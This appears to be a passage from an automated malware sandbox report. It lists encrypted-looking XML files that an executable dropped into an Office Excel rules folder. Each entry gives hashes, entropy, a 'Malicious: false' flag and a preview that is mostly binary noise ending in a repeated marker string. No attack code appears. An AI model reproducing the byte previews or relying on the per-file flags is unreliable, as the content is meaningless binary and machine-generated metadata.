Encrypted:	false
SSDEEP:	12:bXwLoJj9KGEZ/PzhmXpDn4RJZSbI/gH4unELf5np9SxWQKDvps+eXGixpZacii9a:bgLGJynzhmhg/gHzgfbMQQSpWXGiTkbD
MD5:	7CDC0BA69BBD72089F00EBFDA425909C
SHA1:	E76C73E746ED2DF059DBB582CE90223B02A8A270
SHA-256:	423599A4D2DFF41CD867431E47B1F349BE280A969CE14452965C4E95809F77CB
SHA-512:	6E8B088D7343DD4EAC76767CB920B2BB02EC0B9010BCA12D15DCB34721783911694411F1E4C3C8FAB766F674301BBB89D47DBBD21058818C187E05B09A879468
Malicious:	false
Preview:	<?xmlb.\|'....cJx./.r...j5.\...>..T[:3.....0.,....O.{....[...1'.........&q..{X.&]^.t...5._.k$..5G..0....i/.jHr..A.AR..cp'.T=;!..R..v..T.<.qv.f.....].QG.p./....)I.n..f.T`d. ...Gb../Z(L..c.rf.3H..\|Y.....-..!.....&......p.*.[...~..M=...\XTz.$O-.#.a.....}.....5.<.<....C[.8...d.....G...CE.........ae....4t+....t..,.Dz.q]a.\.U..>..i.1.k.!h>.K.7.d...HN...C{..m.sn...4l.a.?.c...w..........;.f.LG..g...>..]n.`..V.<+TU..{.i..!s....b}...R......M._-\,.HB..D....V.@T_../.....z....".,P.v....Q0d.wl>$.n...Q,.s0......R.....#.~..J8gz...4..m....D....9.B.p...F.........P.KU...M..h......'j.......G'07..Q_m6.p..a.....WR3..1..!..6....d.$.r...(...W..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.703717194648163
Encrypted:	false
SSDEEP:	24:3b+ppaRAA/G465636LZKSRzexMQyels9AcbpBiTkbD:3bKaRlG526QSRaxOelgAKAiD
MD5:	89FCC31AB59DFF4E4AFDFBE400E7C82F
SHA1:	41D280D8131FE99D6EA6AE7FCB55FF0122253946
SHA-256:	1F69DAA247CAAB14ECA2A752580CC431471CD648403D9018A5F5451299F662FD
SHA-512:	8C5C8DBFF8E0920EE1944B7A78C8F160642576C48AE6B442DC2569E9B0355FAEEA898B92B88FF2ABF22AC4C9212923086283C5081BB63E2CFE2FCF7AD68BB86F
Malicious:	false
Preview:	<?xmlB..V..nGt...{.gRi..v6.z..Z\.U.L..:...+....Y.N.d:'V.......v....F..4"..Hs...._.......~.'J!?..\R.Si.......:(^.r..%/...t5..lk...n.....i'.....z..K.4%..`K:n.J!..-...-.....f......Z$K...........(...l_.tE..G$...m].Ho'iI.+.7E..0.Z............A...u..x.sq6IGM........N.u..F...'..GP..i..l.$@..>.....;%..`....aQ...@..D....F.F..r......L..#......W...[f..!`"..r=..=.m}......f"C..[.#.{...G.P.t,.OJ`.&.....(.h1.nZ.c.....`..4f.).....>(...D.?..i.....~...Z...@6m.&*g..QYQ.;.....(d.......t.!.....T.8.....u....b.T......,.k...6!.`b....G.....<J:.V....]+.-^..:.G...#...9w.k.2........h.....k`..]..A......g.....Z3A..t...t...u.d$D0:.(.r........m .e.jM...Y..=...'..R.=$v@....I..oQ]h.....b`4..7........P..mr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.655398627595944
Encrypted:	false
SSDEEP:	12:bcwX3KJLI95+5U9/YaOiseG0+EZfw8B0YB43JpClnwK5nDrw/QDkY29lixpZaciD:AwX3wS5+5U9/3Or6ZfN74ZpWwK5PKC2B
MD5:	E157A22E90282D3AE05E4ECDCC5555B7
SHA1:	A103EBEA93B1BE0F5D0D702749528A4E3B7D45DA
SHA-256:	754EC04DA13C949EAC86A1B3D1F85FDEF140AAD8F47A70A19A827A2049FCA229
SHA-512:	F26C7AA89AEFD0942F131C239712CF833F4BF84D1FD1FFA9C033548ED4344AF330372361FC9AC5079D1407AC0C3E1C49FC0242E1E204AEF08CDAA6FF6A8C6C4B
Malicious:	false
Preview:	<?xmlR)......5ga(.......o...J.......uV2.o6N....G.V.-......EG<}Z\|....U.6.....-.].........++...Hc.MV.5.m.>.}$.g8L..UI.G..../d.Y.j...i<.\Bd{j`.C`%O.......X.H..SE.cK.r....;#ZP...m...+..[Z..PH..........P?h.4]..T.2..4<..DU/. '^5E...swt..K~.B.9.W.1......bN...,..NIe...V....^EU.EK.\.T.m....RJSX2...{7...<.iK.-./...H..Jnl...X....c....-...I:I.....X.tb..h.!..<.o.....[_.&.LQBJ#.....2..OD.o..v%i..P.h....V"@........sE..w.....e.E'.DAc....G.0.y.V........pZ....P.0$..e\..4G..uV.u...CC.....d..-.F...kJW4;.].CVoM%...${.w...u......E.)..:.g..T.P..D....y3..f...... .....K...?..AZ.,....E.Sa.'..n).l..n.K.P=...X...P.(.9.m.^SO...6.....(...Z........r.4......]......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.701336181649344
Encrypted:	false
SSDEEP:	24:Y4u5fFZnsitvfcFH9d2wfUcgSbI05/ewSGiTkbD:Y4c5hcN9vfUcJvxmiD
MD5:	1EF0B22C5FB3A6CC7FAB1C78E90AB7F4
SHA1:	3C74D9DDC18A6108F4BA340220139C58E6C8100D
SHA-256:	A313D2E97834B83C579564DAB3FA63A484C172823E78C2E814E09370B449683D
SHA-512:	92F1A970D95EF8B26980BE0FB12E7979D032A45828C16077EBE8AE1D9C05D5B24B92AC470F9B36A1A70D17C99C277E52577D38BEA0687385871E98279663C029
Malicious:	false
Preview:	<?xml0.L...b.~.L..o.#......rP...x^.m.o.K.o....)i..{.=.&c..Iu...+...[......#"..?wn...<`.......'.Oo..y..V....EP..*.JX....H.-....%.....L.g.^.?.zh...D.....sW.$..d.....v'.x .~n38c..[.m.t3..+.'!q.r..M.....A.......M.j.~..x.R..V...Ns.;..3I.R...r.P.iU.._I...=.\|...t.3....GY...5^!2..u.........5..3.w..~@...dt=.N.0..2\|...[..X...)'ay.GN.+!..-{......y......l!m.P..F).....V...u..m.[..'h.....tq+C.&..;..../]gM;.7k..4..#...~.v....<p......E(.QV.y.eb...U..bAk.I.%.0....@..^C..~......Q.f...R6.B,.t..I..jCl._f..9w."6.R.3.A.!.].dp].M....2..:@E\.X-G.~.X.......2...Y'lig~ 8?....U..o.F....Y.9.;I.T;o16..54D"u..R.Q..n..1..........s.Vyu...L.\....as.7.k.]..\|.\|....M..p.8.M;..n....#......z%4,].F....v._.L...5_........O<.{.,'W...h.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.704956200548403
Encrypted:	false
SSDEEP:	12:0yMjneFM8JWY72++K1fsRxiD15S6Ws1Lzl8iv3haMYFBEBY2i3ZRnmE9Jy2ixpZE:bMqFdWY7/fGxixMcRzSkaM4BwY2i3s21
MD5:	2FB0BFE920889F0F992B8D5B187BBCC7
SHA1:	E7F0969E6FF915CAE9EBD1C8AA1E16DC1F3AEF16
SHA-256:	B59147A5DE859F3BDB9F0B5D56CE36365A7A8C090C3B67AEE1054281D4BAC5C3
SHA-512:	9C0F8A764957BD28814706613D1DFF5F50999C7250C39532482666D852F4B99DEE9A900E97348AD166864E5A679CABFB1BB8C6B68F25988D9C82B86D8BD458EF
Malicious:	false
Preview:	<?xmlI.J2..........+....C[....[.......#._....(..dNY).).h.....s....`Q;..c.~,.U.n..KP!..,t..#t.WWT. .....I......!.+....U..;..>...&..oa:..Q..G.kJ.D........]..2..E.........0.P.....@S...w.jbU....6...E<b....&....S)..9Q....Z,.d...[..=.g...6..6v$.....t..i.....UR.......8m...d.Z.8.~U.mBo..5.^1.D.......Y.C....DJ.7..VM.?M.........j...n.F.K.ZN...]....1tE.Jt.>..f..g..8.f..b.H}?..2.Y.....S....#Qr.....W...r.bE.HW....k..iv....-....../u..]....f#L.EL..X..(e....M.....D0%....d.:s.f...'n /fm9.`B.....\|HbJw........b....T.=.V.k..8...x....I\R....2<.s..ix..$`..'..==z...N.. ..(>Z_R).[....>@..Z3D.).l...I.......h.j..I-C..iYu..l$7.#j.NW..9 ULk.0..Z.)>.`.U.9}...'@r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.745756229884099
Encrypted:	false
SSDEEP:	24:pMS48XiIFo+8ROv+kexrjEiweaCIjxiiTkbD:psuiIm+8ROQO18GxXiD
MD5:	D11F72FE1F4152537970BD554CB489B4
SHA1:	A8CB0A6C1BD7C73700CD4FB666200EE7AD5146A6
SHA-256:	4DD2B90C6E85D619B802E13BDE1E8FB5D5AA4BC77B192361336114CACF680DDE
SHA-512:	A1AB240D6277ECC480718449BB30F75C5A80A0607F31549F57663040BC6566EE46F92CE218A3B8A342D0AE17E1DAF7B1E18C235E4FC523A1047F1065DD98B3FC
Malicious:	false
Preview:	<?xml..T@".Y....r ..%..(w#;..#....^.7...-.TGS..,.V.!......o.7A....-.....".L.v[.=.C%.:.Q..."..4....(.....\;.s+.K....4R.M.../..d.H.<.D"].....s@C.3.+.../.M.@.An..>....O.....1...O>...!;V..$..w.K.G...T....0.$-..((.a..k...'..[.-(..$..\1e.. .oh.q...O7.XX.E.y...../.H........oK...8..=..8..B...&m.;......x.k...$...y.{....,..G....`)..f..C.y...`)......_..G.'..'S.d.9.....S..29._.\|l.....X......q...!...V.A...K...."..,.....#../....^.'.B..3.\|>...)$...H:.E.+..j..Q...'%c{.Lc.]S`.().........I....N.....9....b.a."Ao...q............c.L..v.oW}.s.......Ddy.Q._cB\{..'".<..\.`../+.z.....A.....?....i..\|......8...x.@1...;D.6.rP."t.;...7...h.v......K&..~g.+.Gw6'.Y....M.~....^..].....QO..._.......(...l.....;.v:.gJ.Er6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.682093603767117
Encrypted:	false
SSDEEP:	12:oaLkd7nLPd8e0iFh/vb/FtDWlw9XYUdTEFAlqhiTl7p/CKPZcCYGBm0gOixpZacq:9Yd7LPdxHtuw93TagTlLC/GBmfOiTkbD
MD5:	868DBA2592E3B2FAD46644C1F6788F6C
SHA1:	7E8C60CF78B8C71CFF5CF4DCB56C994174BC3AAE
SHA-256:	17AFB59537564FACCB630A2F5CFD422D6EA004A8EB82CD6C0E6E821FDAAD67DC
SHA-512:	5663A25A9F0C63E0B075C60978B44A7B669496C1BE7FF1E0C8E01E0C11D003E02FBF8DDB8BF5F7330498673DF39ABA75048096705ACDEA19D372B6A488284E2D
Malicious:	false
Preview:	<?xml.g.Q...<!..?L$.Ms'...mu.....X.p...1.Rw>`.=g ...fA@...&T.....h..i.O.L...........+J5.......(Bh.fa.Hw...p.h.'.....Cp.+?.V....V6.T{...bN...e..R\|f.m...r<.KKA.y..D.a..4.0m....1..s+`H.B....b.....\|...9[.a.y..\..u.Y..Cqy.......e....K...-.i..[,./R....{....F.....`.+.M}.z...dIj...LvJP..K..#..:=.Q.T.....]..9.%...7....i,<C..9..s:.^-..(P.w"....=.Z.n.ENK.T2b.Z!.+q=t..H...6n]vl./.Q.....%e...L...Dv.$8F..ZS.P................5_..7.gh.Tq.v..K..E.kE..,..B.x..(xk%..(......e./...H....../2..k..F'K"5..v..\.=.LUg...P.k........D..Ra.UZ...Y...q/GD...?.#..h.J.\|o......@.1YE.GF0`..]R.j.e:%.u~..kg..iB.:.3...z...]n-r...+Yo...../.?.2=-.........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.718898661969829
Encrypted:	false
SSDEEP:	24:YyuuG0usmVx1hdiMivUrcpoJ0O2c2zvjBiTkbD:+0usU/rkoN2cAv8iD
MD5:	02AC70F74A9434DB04AB37CE661B865D
SHA1:	791E0D190187432F07A2202D2921BA75EAA8B2B8
SHA-256:	4A631A497EE0B62BC4948EEC21F9DB94B03E1B0BF1159ADEB2DC02B1C7995BD9
SHA-512:	ED85F2BEC1E35B6CCB4957913C66A31D59124F5E5116AD2A83DE95FADDF16F51778426C0E27758E12F2522398C02F7FA336CD38510152B8F4F6E831CF938BA04
Malicious:	false
Preview:	<?xml%....L....h.G....R..S..VDe.......=.<.gP...:Y.R..HK..P.Gp...\|Rj....:.%.uN.A.o...e.....p.s........{.:..1Ga..S...d~VG.Yn....Rd>.......i#.w..'.0.I.;...MQ...\..].......;bZ..,.Z..q9^..?.6...m..B[1b...T..4..GM~.0.6}A...!a.8r..H....%.4.R..d....]..h.=......C..I..{..q..o...=8.......r.vJ.....Z..H.x#s....c.E....3m.s....n6.R....^..SF.{9.......PNn@..{......W....h`]...r.J.U7c$....a%.h@A...y8.`..E...{`...d.."..=.xB<7...{r........>.S+tU..J...y...t....l...rZ.,.....^=.Y/.l<..a.o..K..C...K..l/.r..V.......4.g.l..H....L..y@.....C..[O.H..h....;i...%.A....Q8..\..A.bk.qx.P.o/[.@.f]..S.F......9S.G..z.i.~RG.I......Em0.n`.....S^..%.{7...F\|..F..Fh6..Z...t..W...n}.. .P......G.. 5.........k9vE2r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.670501699346698
Encrypted:	false
SSDEEP:	12:yCvpLIcU9sKzZXQaKBZzuYfJVzB3TKBTDFkYJp4yFjxcOZPedLny+LAVixpZaciD:yqLWXf+5BJVdmOORFxc0etneiTkbD
MD5:	C204FB29F298F099390A8C70A4F67333
SHA1:	D4CD410AE3794510E6BB3FBEC2D4F1C1E2934B4E
SHA-256:	692B4A42E10BF9B8B788B9C7181056C8DE7FA8AB99D92D15AAC4427ADE836E14
SHA-512:	C9821E8A88D1A3582D40F903EA68AD02AAE2880C92248AE8F007AC7AE6948E29919ED6963524D372AEAFA71492FEC732047E343826AF707AD6EC67936896BC2C
Malicious:	false
Preview:	<?xml@.g.._..R.<......-HC..P..do..........2...X ..........\|.."!.!tA....9a5Q./.X...BI.=.j.....4.Q.....G...+.,I..._...&h...'5.m..V...?...Y..e...:b....}..o.lRS<.A...h.z..Y....."..y..Q....6..LLX.......$.fm..3.......%..-.Nw..3fb.s...."#f......zx...6..4..[."....m..4...K.\. .pS...q...c.PF...Z{.2..`.&h.3...2......L`..A...........N..").933.'{..C.nz...."[..>...._..qs...!..z..MY.v.10.8&.^N.A. JK..?..j!........C...K....:l!. ..........0=...K).f...q....Y$0..E....RT...&Y..deZ.S......H..X.xI...f<./.....4..<{....z).J........+../.C.$:E.p.....l.)%uiZ..O..:.)g.../.V..@m.....v....eC.8.;...$...U..Y.[NR..Al5.Mv.,q.--..=.r)@7..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.709171628240107
Encrypted:	false
SSDEEP:	24:k2EiI2h85q7+vUW3PhEzxnfZmf1hVSMw9FiTkbD:mi8qCvUqPmzxnkf1hV1iD
MD5:	F61949E9D40BBBDD7512C13035091CA0
SHA1:	7D7746766BCA7746D40BA1FBA936334E682B8ED5
SHA-256:	B488FAEC757E31B5A0510E8CF4DF5BA1678E5CF02B859A006F9BC03E2BA095B4
SHA-512:	D77FCED0FD9E108DCD5E407D6AC1E13D4D74333A28CAB3FAE05BA08186CE6C96A0BFD6EBEF94F95553D8CBC55C03DF457A1765D59144EDA2EFF7BF4567B1917B
Malicious:	false
Preview:	<?xml.Y.U9...#j.%.......n<......R....\|...Y{.!.....A.Wh5...j.8......K&.0."..0.s.6.v{.G..o.=....V........S...Q.4]..ugP..AV+oi]S..T.....r...yQ...+B.$M..A., .(...N... .W.+.>}Y1.....!....4.?......f[..+....5.......T...c3O.....X...[N.\OD......XGX..h.Pe.b...e..d.......k....!....2.g<...~.j.=..c....5...w...i.ic...Ze..qq.`.f..hL..g.Pid....O}...kM....7..{..!.....N.A.N...kB.......a.. ....a.4.......).....z..L\.Jg..T.......m..Zb.J..Ex.......2....J...{)TRN.^.....nuic..J...Ap....N..#d;.j..6s....<........g........g%J_.........#..v.&dO..0*U..^..P.=.....KU....x..rx.jUy%...}Z..s..l...7.1NoG`.X.(k}S.[6V.........5...&.r..3..<....S.......x..+...:...m.4..N.L..eX..$../.H1.....1D..m.3....X.>D.9...L..f..b....iT....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.685856917694726
Encrypted:	false
SSDEEP:	12:xX2G4zenn5usIvgnjafoLS3qL1dq52DorlSmVpFMja5Kpb3MdHO2lP/LoBuCixpW:xCenANvMSo+3qL18eoZSAKqKpr+uIH85
MD5:	E7006DA9EB024A6D62EF656A3B99805C
SHA1:	3CFC5E3787C51C77D518D16013C5236D44690415
SHA-256:	C6C8DD6552DF8A88D50A7322DF01B2A07F4B6ADE1262BE1A4CA6C471CB0331FB
SHA-512:	EFB7067168492579E3654B4F9AB6BD26AFBD3B34C9C0B46C2718F2834B00E79BD9761C6976783A7DD132F235097E5FB79169DEB14024ECA4D767DD5ED7AB6191
Malicious:	false
Preview:	<?xml+T.4...D.zWt.@.YuyL..q[.S...D4m./.~.E....8...K..&Y.g...k.k... ...;7.6....0"=i.......H:.=.G..H....l....q'.4.g.)d....X.x.?.&.29.Wd.....~..[.....8.......u...U.Ty...D..bZ..5N.....)..u4."...,Y1;`.....B.bRI<.'S.hw..q......d]..tUB...$u7ju.I......=.......@.at=...N.x.\m...Gz...N.../xwz,..F...u.mR....F.......j...B.eQ..C.Z:)...e....g.D.n..36..f.,.?.I.C].0.......b..E..E...0rQ...7...y1.U..g+a..tp"v7.R...A\.H..T8.5...&..... w.+XfGij.G..f.%F2e+6.`..../...1..+\|.....aZ.!...uJ..-.Z4.vy....\|L....k......5...-..n8..eu...<.B..5..Ih.q...f..,Z...-.EiN....U...G.Y.-.. f.dN..A[Q..}w..%.....C.{...%....Q.i[n.#.../4.a..avnH.M.D..m....f0.O-.L..x7......k.......#......_.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.708111018222172
Encrypted:	false
SSDEEP:	24:KjC6djyluK1A3cZV089BiefS6LlI5iTkbD:Kj1djCuKe3csX7UZiD
MD5:	B6CEB726D7A69F7D57EBE4FB50CF1D26
SHA1:	F51210CE7EF709466D5BCA8B29E2DA9B464C715E
SHA-256:	9589573CE97157FBE784F2690FF6625A9914877EB828096A7A0BF64AADF06D65
SHA-512:	66D7D4D781D1558FC3C1A45B79CC151620FDA7672A59C98579BB635B1CCC7CF1D0A6C7B78417EF62934DF39D1CA208E6C4076FB98C7249E16AB596C29197D2FD
Malicious:	false
Preview:	<?xmlq8.).\|4..B:...B.bVYEf.3_.y.......(..`g[.b..l...7-.4g....;....Z..&-.R`5z.Z.Y...7. ^.7.f..F.K.....k]...1...N.<..).... x..)~..B.[...&.........".%.(...kS..C>...%.+.e._T.F....r=.W..K/......b....n/.. "h..N...5...N.b...#g..`..z.....Z}......V.L{.E.q.~....-+.....'.i..Xu.......&Fr8.XZ....7D.../......E .../B.0...`Q./..Op]ha>...k.f..08>...L.....Ma........r..2....d...u.&eE8.n.....,\|w{;FM .B..P..@?..h.u.f...!..mE..V.....eH.*..Ep.... K.....Kc..z......m.....A....y.D.......hF...+'.q.......(.....=z\..o..^b...d.K.WT...A=C(.K+FGMufiT1..ca.P.[.~uR.s....A...."....ws...)w..g. ...,laK..@4.dn...../.....^..L.7"....E.1....{.9Qh.Y.. i..?...(o.....FYp..;P.t..&:.1..................Up.K".%..qe]P\....f.......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.725683676170458
Encrypted:	false
SSDEEP:	24:k2LU+3NzkMNHlvjY0kmhHOfRzAZdmr7bFal3YOiTkbD:k2I+lkcl1A0Tub2YriD
MD5:	BF497DFFCC708B634165B1150F0A85AC
SHA1:	44122A1C54DA7C209CEE408868B504146E26737E
SHA-256:	9D0D8063074BF7D114BCDC7FA2BF3824F9FB3227742AD4C2B0C289A6ACEE5C4B
SHA-512:	6C18F1DB8AA367DE057681733003B1C470535B4D708CF203FA3F76C71A76DA6D2CDC62BAB168064CF68B6A3F5FCE3448D4C19488B3CD591A862070921489DCED
Malicious:	false
Preview:	<?xml..H.UT......\|=.',2D..x....j.?K...R{..zq......K...q...Sk.@.X...+..@U$$..4.z........}.g..CO.\..L...l.RS..C5.<.8..[..\...M.^..p,hU..B.i...5@..q6.r..')f.Y.."bH....l..U/......#...O..N.........,Oqj../+c..'..3.,....+.==/.......u...'...Xv(.......$.P.....>.....O..p.....l..u.{_.A_.'r.v..d0d/..~.n.........+q`..i.b....)..N.s..iV._..q..1L.u.....5..2ERr..,...i..J.6..t%.rK!.%5p...%y../w.2.@../.\|?...}...$....(.N......?..A...e...'c ...5.A....V.Vs..4Q.n.h....(>...+........N..H....f..{S_hF$YC..z..@B...].....T.o.."..~@k..>M.....Y.c..Q1....<.....\|..s....b..3.B..+.....U.Vje..&..<7.0x..Br...9.......J%.h/...k..#..o...e.G....{...7...6.K"....D..o...N3M..*...8g)1....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.734027904550054
Encrypted:	false
SSDEEP:	24:/JW1to2XQWBZrOGACKdtGJrLmaGEtvcVA1iTkbD:/g1tXhKGsGJrLxPpE7iD
MD5:	9835E8B556297531C500698D0D55E18A
SHA1:	95C402D7ED4771811219B143EDC1E4E64A9EE096
SHA-256:	5763EFD93FDEEA2330F412C5F22F05404EF7509BB8B97D47F9134C2F87BF9F93
SHA-512:	B36E7AE1454CF6E201E2C35D887DAE4899F629E2AB7C71CDC96E5249FD48DAB56A313B7A4D894880408C9F47F9C3010A979CBE384C5B459625D675F364A3A196
Malicious:	false
Preview:	<?xmlq.N\|x-.b.=._..s.7=...S.j.Ef`....n.b.E...u..X...cp..s...$.R..pgc........@..y...X./...p....`.T..?.)f:..e....n.V.h`.g......SH.{,....>\|m..2.bG...Z.-r$$2@.....].....T......./....q...)....X..o.?..../.x........(......`!.V;...`.waK........V.B.r=.B.b......"=.l.....q9...P.t.BU....._...x.9.b..dP.Sc.pr..)..w.P.....1..<.c&.ne....?o.7}.5..L.M\|M.b1..~x.\./..n..g..2M?..._.....FiWa%....("'Y.......0kx<8.~.(?%W...Kn.]....3.....o....]......4"....N~k.....O..y.........K.....Q./...^....M/..^.j......W..y...ED......q..A.O.v...koxS.tf.a...\[C...>.k./.$.l..^..c...4E....C..%.u......Y..$..N...t.Jc.~%3..R?.o...k*RVJKF..~p&....:\.....#.-W........=yw.!... E..zT.t3....,.....'[.Mc..4...}.u.Fn.O..4.H?.........'8X.5.#oel}.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.739593266492763
Encrypted:	false
SSDEEP:	12:2DvC60Nt6cHTYIMCSaZetiVGpz71vsIU18i+GEJ7f4Reemk+BPjEJO5HNZVVixpW:2DC6qthMNt7zxHUOiwJ74Memk+BPjJXt
MD5:	2FE34E85BFC015D07B217AE1C52EA803
SHA1:	6511C762671FC2426AC88CF9D912A830A8601D0B
SHA-256:	ED6E8627215607EBFA655A4027CA38AC5C5E5CF64B6BC02EB0B1CB73287C4698
SHA-512:	4B0F7986F1EE1768920CCAA926B443E2ED2C170AED2402FF2318A94C387CE443E49E83A06A21B2F421E61E8B33320A7D7BFDB8FEC841733990BD7CD1C0910F43
Malicious:	false
Preview:	<?xmlD...............P?S...P.?...9...J.........$.........H.dS...\|.....)..7........#.pt.Hp\|...........e...S..E......T....wxJU....1].e.A..iq4.H^..a}...I.z ..K....2.....AZ.....d.s@Z.R.!.}...y$.KVg...`......FDV..;.zg-wy.:.._~\MT...7. ...),[..@.3fl..4.=.....y...WM..0........p...O5?2.c.f...........+./......O..]]....k..4.>.........I.....v..f.^.0.Tu.#K'(.f.d..csp,.z.'............qZ4..`.......t..%"c.~sN.)8._#..{..d....a.A1..M1.......W.=n..e......W..).V....)\|......NY..j.......:`3oO;@......qW.........HH.E..... i..W...d..P.*.x..Q..b..g.3....O?.nT... j..'C.Kr....B6....&.5A.....`....b?..Z;KZU...m...]...z...nm....1.......akHH.}..n....o....(.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.7384239430763015
Encrypted:	false
SSDEEP:	24:kg2qUvIed7F1gPjiTe3pujeHPMqKS5MLGeiTkbD:kJvIcIji4pujevMqloGbiD
MD5:	38504CBDB1BFB726BEC6AC92E70A55C9
SHA1:	7F3C7CCBCD1EE2FC4F7A1B4A38349FB14C7C875D
SHA-256:	4C06758E026E7D12115F9967B61C4DC3D955418B5C78C96D24481EEB47F959EF
SHA-512:	8FFC70AE500214ECB9C7ED21A078938974E63EED157B86440DC202959D4188C20B9F59DCCC67B79F84DD72379914719B95FFC4491E6E230EEE0A4CF5D465ED3F
Malicious:	false
Preview:	<?xml.z...G.c.p.. .I.@.(..Mf.t...i..u.......g,........H/..Ie.q'3.1NE..J.RL.x..vEZ..[...;\..-...g.....1..^....H......`.s7vT_3...........^\|..x#c2.&..x....dt..iE........6..C[..\|......f.}...O..ai.k....j..$...3e.u.B...G.K..=.S....a+.3....;.......\......S...!.f......$.l .i.G.&...t......@...c%.,>..>.r.F5". 